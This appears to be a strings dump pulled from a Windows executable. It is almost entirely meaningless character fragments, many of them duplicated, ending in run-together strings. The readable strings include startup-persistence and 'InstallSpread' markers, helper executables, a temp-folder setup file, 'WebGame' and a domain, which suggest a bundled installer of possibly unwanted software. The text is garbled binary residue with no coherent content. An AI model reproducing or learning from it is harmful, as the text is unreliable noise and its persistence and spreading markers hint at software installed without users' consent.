@.OkA
@.OkA
@A4%X
@A4%X
`.JUC
`.JUC
&Cz"T%xv
&Cz"T%xv
wRUJA%S
wRUJA%S
mT%s5
mT%s5
.%c;/
.%c;/
^WE"y.LRZ
^WE"y.LRZ
fe.eI
fe.eI
r2N.IVLK]
r2N.IVLK]
$.gPC!
$.gPC!
u%X7t
u%X7t
jd
jd
\.TJp
\.TJp
{5ÉL
{5ÉL
.Un?J
.Un?J
.RI^L
.RI^L
i(.%d
i(.%d
xTCP
xTCP
8.oA6
8.oA6
rj%dg
rj%dg
[1#/.hPS
[1#/.hPS
l.LDL
l.LDL
`
`
r;.tcyB
r;.tcyB
-.Qgik
-.Qgik
6e@%f
6e@%f
zao.bk
zao.bk
?%s_@
?%s_@
ctq%x~p
ctq%x~p
cSf.av
cSf.av
I.CZ}
I.CZ}
^.IH2
^.IH2
.kHdw
.kHdw
vIc
vIc
Jm.MX2x
Jm.MX2x
.kkB%/
.kkB%/
gE.uGoXgZ
gE.uGoXgZ
t.dXZ
t.dXZ
9[ %x
9[ %x
$G.rCu])
$G.rCu])
.Il;^-
.Il;^-
.mBF
.mBF
.zE)H
.zE)H
a.ohv;
a.ohv;
O:0~a.WE
O:0~a.WE
B%UmJc
B%UmJc
y*.xU
y*.xU
7H.mh
7H.mh
9.h;%s
9.h;%s
s5&-1vl}
s5&-1vl}
%_.WzF|
%_.WzF|
.MQ.Y
.MQ.Y
[.GVO
[.GVO
`3.VL
`3.VL
.mgYA
.mgYA
Rm.cdO}
Rm.cdO}
.Gh,K
.Gh,K
.CGZ6U
.CGZ6U
=fÉ
=fÉ
D).Cz
D).Cz
.KA0y
.KA0y
7t
7t
BUrLE1
BUrLE1
%c ^?
%c ^?
%DVW {
%DVW {
nmi%c
nmi%c
ib.Flx0$b
ib.Flx0$b
.IckF
.IckF
.ezo#
.ezo#
.Bm&0m"
.Bm&0m"
os#.AQ%)u8
os#.AQ%)u8
k5;HhD.Ti
k5;HhD.Ti
4A$~)Z%Uv3p
4A$~)Z%Uv3p
n!V%u
n!V%u
.qu{q
.qu{q
J>.lr
J>.lr
4.jsJ
4.jsJ
0O>]y.Yu
0O>]y.Yu
!%fG`
!%fG`
w.vXQ
w.vXQ
!}a
!}a
%sv8My
%sv8My
.Gj%:7
.Gj%:7
?O.KfF
?O.KfF
A.JFm=
A.JFm=
.GgyE$
.GgyE$
Ue%D?/
Ue%D?/
%SFN?
%SFN?
(u%sj
(u%sj
.Fo'f
.Fo'f
?/.NS(\1oN
?/.NS(\1oN
J~.aM\#
J~.aM\#
{.ULI
{.ULI
eh.Kx
eh.Kx
j} .NK
j} .NK
@.eQK
@.eQK
s.kHn
s.kHn
`%X@}^
`%X@}^
.TG!
.TG!
%C~U,
%C~U,
.yN8x
.yN8x
IYT%x
IYT%x
3P.cr
3P.cr
0U`V%fH
0U`V%fH
TJ.Cf
TJ.Cf
.ubKli5-
.ubKli5-
.bW4Pa
.bW4Pa
sM,%S
sM,%S
;iHCfTP
;iHCfTP
p%XH
p%XH
23.En
23.En
.IQ0Cg
.IQ0Cg
.yCO^_V*
.yCO^_V*
s'.Uk
s'.Uk
%Srg5J
%Srg5J
rC.lV
rC.lV
}z.ZN
}z.ZN
$.fU]
$.fU]
@ Y,&%F
@ Y,&%F
}.lJq)
}.lJq)
"ik%s
"ik%s
)j[%D
)j[%D
=.KiaO
=.KiaO
dZ.ATF
dZ.ATF
*.yzO=
*.yzO=
%Xn/l
%Xn/l
wl.YI
wl.YI
ZO/S.Dlv
ZO/S.Dlv
wS.ah
wS.ah
t.pkn
t.pkn
h.Nf;b
h.Nf;b
;.tvM
;.tvM
ø17n
ø17n
l9.Wi
l9.Wi
e.%x$
e.%x$
N%xc9
N%xc9
bOa~4d4.lV
bOa~4d4.lV
zz9G%C
zz9G%C
Y.sM8`D
Y.sM8`D
T.yMN
T.yMN
w%dQ#ejSw
w%dQ#ejSw
.wlP8E
.wlP8E
m.vTJ{ye
m.vTJ{ye
).oSrG
).oSrG
1.jA;
1.jA;
j.tTV~
j.tTV~
D%fOb
D%fOb
UDpl
UDpl
.OmE>D
.OmE>D
.DLo3
.DLo3
it%DM/
it%DM/
G%di,F
G%di,F
Q);%X
Q);%X
p7B%u=
p7B%u=
..Bty
..Bty
<_5>
%Cm\H
ß\|
FK9%u
%x,R@
-lD%D
U.lYJD
.DT9W
M%X|0J
_3%F]
g.UzK
-9J}&o
dC.nt
&.AK9
O-U}0v
r%fn!
L:.bv(
W %xIt
;.ec79
.uO}@W
bH.PUkX!
WY&].PQH
5.Cl s
GEK.rj
_X%sw
>.zVn
x-5a%d
a J.OzVH
gzÞ
JE%fmn
eG%S2{X|_
g@.nO
@.nDZ
%4x~Ap
d.MB"|!
.Boi!wn
û)SKF
G&.IA
q},/ OF.XsJ
Gab%X
np.xA
|.xyt
.hQ>Anl
bO.Mv8g/0
9Bd'4%X
h`.zPZ~
ai1:.Kg
CY
M7b%x
v.Plt`
.Tj-,
K.cFThW
%drg0
Su.hWZ$aR
`.xDztc&
$ssQl
>t.qC
-A.Rl
K.Tj{
-%s)`f.mZQ9.bf@.wS4'aw.vKS.zo'.uRrz.HcmEjh.PKk"E.HzZd2F.WrT\.Iii}k.YTCum.Pg^jKu-7}k|L{.ag.rr3RpX|.Jlb3L%S}@.iY8Z#%X^x!.JDd%4XlVXruDp..vWxK2%CK'0EJ.Yp{!.FAX\.VRz7.aWOSu*pb.VTa#.lG.bIufC.kF>'d.waq.Bq3V.rW_-QLQG}inJ%XmdL.hLoLPJ.jgnY|B$60F-%.XsV.qEj.Su)q.RBaR,.pHN.id,l\.aV`ZsQlq'%C$Q;~tiN.sAx{%d$"Yûx)%uA%U 0?>z %cbsh.uqIxJ.mzr@.TdE.vXPB#Bn9%fe%.of@G"#.HQ.aHO%sTI;H[%Cs@.SDe5%C~utW3aoJ\@3M.Ss\J.KWg%sN(.tv:?.bK_[X:\d9R%U7@XPg#`l%u&%sz|;KC.cT%Uq.NCcK.PGg|%X7"z2GoO".tH@Xt{.WOuqFRn\!E.nFKMvs.Nh.Ld gg[F$1.xxx4d%Cu8w%Fle@.IoNN#%U~:C%U).EnD)Du.GVBQ%XGFzLT5R!%d).ux^1b.ojtv%sp.hI"F2%S,emt&"v6.WZ?S]a.cKz{.JYC:E%d G%8sCrTB#J&nd%FyuWOO].joT;E9ù3.VWp,.pgGDY,.tw.uh/JGn.mE]<.ypyz>}t%U=Ls>%stFU:\ ^.seyN~X%%SpB\"%sm.aqcS8L9"/Úsl.ar?/_}.RD *M6[%Xh?9ldh:}J.AP.Fe%H0%UYI9HxW`IM.WVx%xU,.pildat.vs>8y%SvpN%FgMh.cY"(36.JPs.Da_UNz#)4*%X(ö!6{%s&2:.Eb^\W).TYb[K.QX33%ug5!T.CA$.tc#.Xx-/hS6.ebFtpT$)8.AHS{i]%uUj.HC!RH`%D}G.qo/0.pq8&.LsBk.LQD@F%Dw.uqos.aDHL1.baN&]J2%d#cUu%uop.id\)W-z@%DO.rM&`.Cc}3[.IQ5.Me-O.wvl4hx .Vk#$Q%F2T.oKZ=XJ%fQeE.)X.ASU.GT/NF}fK6.DIj.Oc.Mpk.Gb.Uh$q7%S9*-N}q6(`X.Hh.ku2:]Sp.kt8{*F.tI"^%s'slc}%SK~.mTG}u[j.VQd`!%s2P.ICLs#:.MsMSB`.EJa.puo~.Lv-.zGk#T.sOB/.AQS!l).FSy'.dF}%Fgb.nU#a"c_.or=\d~.cjNC.ymK(-,w{2>1%5x.LwNz.Dv3tb2%c-.fu#C0o.FZBh%s}ec.NS9.ghQ}8.YK)em&]%SUR.jCu'h~W@.swi%fM8biX.RgCRTZ\=.IC6H.lKS`m%s;.RMV;U>W.iXF'F%UoDo).RmRuX%s#Y*2.xOD%FSo3Y.VLq=Q%Cwv&R%CH.wILu.Itza?WD^%s.sQZC`L %Sb-%xKbyh0),.Njp,%d]i.fcYp.Xe8|EO.scHMFx%sw.NVk.fZ3/AwebVFU.Sy@w`"%F@hs.XXa|(1.ie$.Rw)'hxU]l%x`%8X2y>.bm/o3Sd.oHL3-d8l.xbP%NkfG-i}Udv7.FJ.XBUSW%UtJqYKL.hs.je`--^w.qaV!%DhMy4J-Iq}4l%uR^d$.vqpsrY{ûIn.YL/aQ.JfFK.jxwJRw.eE]%1U.]@.jtTY]@iH_.NFd2IPl.zPH~?t%X2'[.GQm2"I%SUV.Esh0#.uXV'.xzrY.xUA\#%u`U.dUk%u0_vÃzS.wmJa%FxZM[X%cz@pm4.JJ9, .BE.qFhu6zl ,:B.zj]`.aoR>Mu.rQ"EV.EHN.UCl7EmK/.dz,1%d&yRMsg[.qjE.VdFbt.gep
*Y
Da%D=
.UCzf
g.LIQS1E
k=,%U
%xJzA
/%d*0
.ng(y
.sK3"T
{v-.jF
D.kBF
O.ASb0
t%U,7
z%C^;^
.qei;
.xnwXO0
u.MNP
BsqL
f*O-j1}H
"i%S(
[tzIfO%d
K9kaPurlz
.llti
d.KU!
.MCy\
.HhbJ
|.FvO
.ac(vd
H>Z^%D
DX6.DC]
.NoD 8
7q%FY
a?.nB
T\f#_1€U
.xxmx
'i[7X%U
%D}Dp
%5uPb
.HgGt
%C$x,&yOY
Y:%dM
%x16_
{i_%X#
l.Er|
XÝp
@fj.Drr>^
"[}%c
='%S)
cMD).H
q?.xkr
.adUJw
.weI&
.F.SC
M.kK"
A.XM]r
`>}.my
F@:,%S|
}%2UR
F\)&v.gfFZ|
$g.URL
>^.vq
$.dHk
z.xPg
[Y%fv9
~%F ;
Pq)]Rh%c
.uk%S
.NU]*[E
.Ye/'
.Dw_:
.SD3o
u.kP]Ed
j%sN0
;hY.Scl,
[.jd"
UCu~0.Jy8
.qVG}
,.BZP
UCa%f}
FD.rd
Bl.LZG
vjOin
w.0.JV
t7I.OX*b
%u"5J
xak%UAD
.nwm_%)
Bo>%Xp7bi.xk$yR#%X7R"ve#.Cs%f)rIxDF7%C@V..qslU%UO&_Y.Hf`Un%c3%f_yw3W%s*.Kj&`gW9t.Qtp6)C.JAI.Gk#3X:%U7kHFS.eSU5%D'^CB%u9D.zALv6%dZd4P}}O~uxK$u%dN>.IP6FyY%~'M%x:%X8;;A_S;ño.eef.KVqG.SyS?':.CJ%S-&]8lxLdWp.ul?XC]nG.bqz.Kjx|%UbL`[f[.GE1xF%SQ'.Gk~.yLZaMa%dqp$3.pR.gop}kQ%.c1/.mk$%DuI=_Yp.ED,sQl?0k>..tM?s.OkS..BPcMDGGtX%uvOe_4Q%FHuDI45.JdkP%0xz.vfd)$Ÿ;.rvdU%cTH"`.JBI||20M=B/M`F%C"L\g{\.SV&v.hbQ3q%d:{s"o\%c%x{}gF.Sa_(w.rkh-G}" I.dr(#.Fo@B.fzVWs~"É9zh%SI=.HKYW5yc.Dj].mc=.HdPHelw5Q.PHTg%DhtAÝ1%Tg.IEPt.ls1.85a*%SN,f.VG^N.sB/%S$ _G%1SCL7]`%cG]&F{.OXXc!%S:r%uM%CJJaQW.iW>2cm%D.ybg^\y.QvV.pCHjI@b.mHJ?)k7.oCd -S.Tw.AG490^.Bk,J%xB.gA}p.hCsKju%CJ%u-yO}}X%Xq4>WiMUCh.QFjNO=w.hV8~.ilt;v 4%e%S6F?K.jE`/H.yMi%DoNQ%X))sV.zlKc:\=MjZ~MmT%Ct.dD7aGFO%f%S$2 5M.EJ=_)@42".Tr_a%sR:BC.Yg8`O8.tK9.ga.h.EOu(|Y.Nt6u=;GC,j.Rkzsl.Oub=.zCuvC~o.znb].9.Hgp%s%s\%sShanHuInfo.ini%s*.*advapi32.dllokernel32.dll" RunByWindowsStartSHMoniter.exe%s %s,%sInstallSpreadOperateSHCore.exe1.0.1.0930%s.del%d%s.del%s%s.del%d%s%s.delC:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exeWebGame(&A)...All Files (*.*)No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.#Unable to load mail system support.Access to %1 was denied..An invalid file handle was associated with %1.Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.Disk full while accessing %1..An attempt was made to access %1 past its end.No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.VVV.shanhusrf.com1, 0, 1, 0shsrf.exe